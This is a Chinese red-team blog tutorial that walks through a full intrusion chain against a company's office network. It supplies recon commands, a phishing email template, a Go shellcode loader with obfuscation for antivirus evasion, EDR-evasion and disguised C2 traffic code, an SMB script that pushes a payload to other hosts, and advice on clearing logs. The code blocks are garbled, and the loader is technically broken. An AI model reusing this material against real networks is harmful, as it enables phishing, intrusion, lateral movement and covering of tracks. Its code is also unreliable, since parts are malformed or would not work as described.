一、一次看似平静的安全事件

前段时间,某互联网公司爆出了内部系统被入侵的新闻。攻击者通过一系列精密的手法,从一个普通员工的办公环境入手,最终控制了整个内网,并窃取了大量敏感数据。这类事件并非孤例,在红队攻防演练中,我们经常会复现类似的攻击链。今天,我结合一次真实的内部演练,分享如何构造一个完整的红队攻击链。

注意:本文仅用于授权安全测试,请勿用于任何非法用途。

---

二、针对目标的初始侦查

红队行动的第一步永远是信息收集。记住,靶场中没有什么是无用的信息,任何细节都有可能成为突破口。

黑客示意图

目标分析与外部侦查

在一次演练中,我们的目标是一家互联网公司的办公内网。初始阶段,我们并没有太多线索,于是从公开信息入手:

  1. 子域名枚举
  2. 我们利用 subfinderassetfinder 快速抓取目标的子域名。

黑客示意图

<pre><code class="language-bash"> subfinder -d target.com -o subdomains.txt assetfinder --subs-only target.com &gt;&gt; subdomains.txt sort -u subdomains.txt &gt; final_subdomains.txt `

这一步发现了几个办公系统的域名,例如:

  • vpn.target.com
  • mail.target.com
  • intranet.target.com
  1. 员工指纹信息
  2. 在社交平台,如 LinkedIn 和脉脉,我们能找到不少目标公司的员工信息,尤其是 IT 部门的成员。通过搜索,我们锁定了可能负责运维的几位技术人员。

  1. 敏感端口扫描
  2. 然后,我们使用 nmap 针对暴露的子域名进行端口扫描,尤其关注 VPN 和邮件相关端口。

`bash nmap -p 21,22,80,443,8080 vpn.target.com -oN vpn_scan.txt `

这一阶段发现了 VPN 服务使用的 443 端口,以及邮件服务器的开放端口。

内部信息获取

接下来,我们通过社工铓鱼攻击进一步锁定目标。一般情况下,我喜欢用自写的鱼叉邮件生成工具,搭配 Cobalt Strike 的 Beacon 模块。

构造鱼叉邮件

鱼叉邮件的内容需要具有迷惑性,比如公司内部的「重要通知」或「财务邮件」。以下是一个简单的邮件模板: </code></pre>html <p>尊敬的员工,</p> <p>公司IT部门正在进行系统安全升级,请点击以下链接更新您的账户信息:</p> <a href="http://phishing-site.com/login">立即更新</a> <p>谢谢配合。</p> <pre><code> 为了更加隐蔽,可以对 URL 进行短链接处理,例如使用 bit.ly

---

三、Payload构造的艺术

Payload设计是红队的灵魂。 一旦成功让目标执行我们的恶意代码,后续的攻击链就能顺利展开。在这次演练中,我们设计了一个内存加载型木马,绕过了目标环境的杀软防护。

木马的核心代码

以下是用 Go 编写的内存加载木马: </code></pre>go package main

黑客示意图

import ( "syscall" "unsafe" )

// shellcode 示例,实际攻击中可以替换为 Cobalt Strike 的动态 shellcode var shellcode = []byte{ 0xfc, 0x48, 0x83, 0xe4, 0xf0, / .... / }

func main() { // 分配内存,用于存储 shellcode addr, _, _ := syscall.Syscall6( syscall.SYS_MMAP, 0, uintptr(len(shellcode)), syscall.PROT_READ|syscall.PROT_WRITE|syscall.PROT_EXEC, syscall.MAP_ANONYMOUS|syscall.MAP_PRIVATE, 0, 0, )

// 将 shellcode 写入分配的内存 copy((*[4096]byte)(unsafe.Pointer(addr))[:], shellcode)

// 执行 shellcode syscall.Syscall(addr, 0, 0, 0) } <pre><code> 编译时可以使用 garble 工具进行混淆,提高免杀性能: </code></pre>bash garble build -o payload.exe <pre><code> ---

四、如何绕过EDR的监控

在演练中,目标环境部署了主流的 EDR(终端检测响应)系统。这类工具通常会对进程行为、内存操作进行实时监控。绕过它们,我们可以采取以下策略:

  1. 分步加载Shellcode
  2. 我们将复杂的 shellcode 切分为多个部分,先加载无害代码,后续动态拼接恶意部分。

  1. 流量伪装
  2. EDR 也会分析网络流量,因此我们使用 HTTPS 协议伪装 C2 通讯流量。以下是伪装流量的 Go 代码:

`go package main

import ( &quot;crypto/tls&quot; &quot;net/http&quot; )

func main() { // 创建 HTTPS 客户端 tlsConfig := &amp;tls.Config{InsecureSkipVerify: true} transport := &amp;http.Transport{TLSClientConfig: tlsConfig} client := &amp;http.Client{Transport: transport}

// 发送伪装流量 client.Get(&quot;https://legit-website.com/ping&quot;) } `

  1. 字符串加密
  2. 在恶意代码中,敏感字符串(如 C2 地址)需进行加密,运行时解密,避免静态检测触发。

---

五、内网横向移动的实战经验

当我们通过鱼叉邮件拿到初始权限后,内网横向移动是关键环节。在这次演练中,我们主要依赖以下技术:

利用 SMB 协议传播

通过目标内网的 SMB 文件共享服务,我们可以传播恶意文件到其他机器。以下是一个利用 smbclient 的横向移动脚本: </code></pre>bash

!/bin/bash

TARGET="192.168.1.100" USERNAME="admin" PASSWORD="password"

echo "Uploading payload to $TARGET..." smbclient //$TARGET/C$ -U $USERNAME%$PASSWORD << EOF put payload.exe EOF `

内网扫描与权限提升

利用 SharpHound 工具,我们可以快速绘制目标环境的域内网络结构。这帮助我们找到高权限账户,并进行进一步攻击。

---

六、痕迹清除与隐蔽

痕迹清除是避免暴露的最后一道防线。 在这次行动中,我们主要清理以下内容:

  1. 日志文件:定期删除恶意行为的操作记录。
  2. 暂存文件:避免恶意工具留在磁盘。
  3. 注册表:清理植入的持久化配置。

---

七、总结与反思

这次演练让我意识到,红队行动不仅是技术上的较量,更考验布局与隐蔽能力。每一个环节都可能决定最终的成败。如果你是防御方,请加强对外部系统的侦查,尤其是员工的安全意识培训;如果你是红队,请牢记,隐蔽和持续性是核心。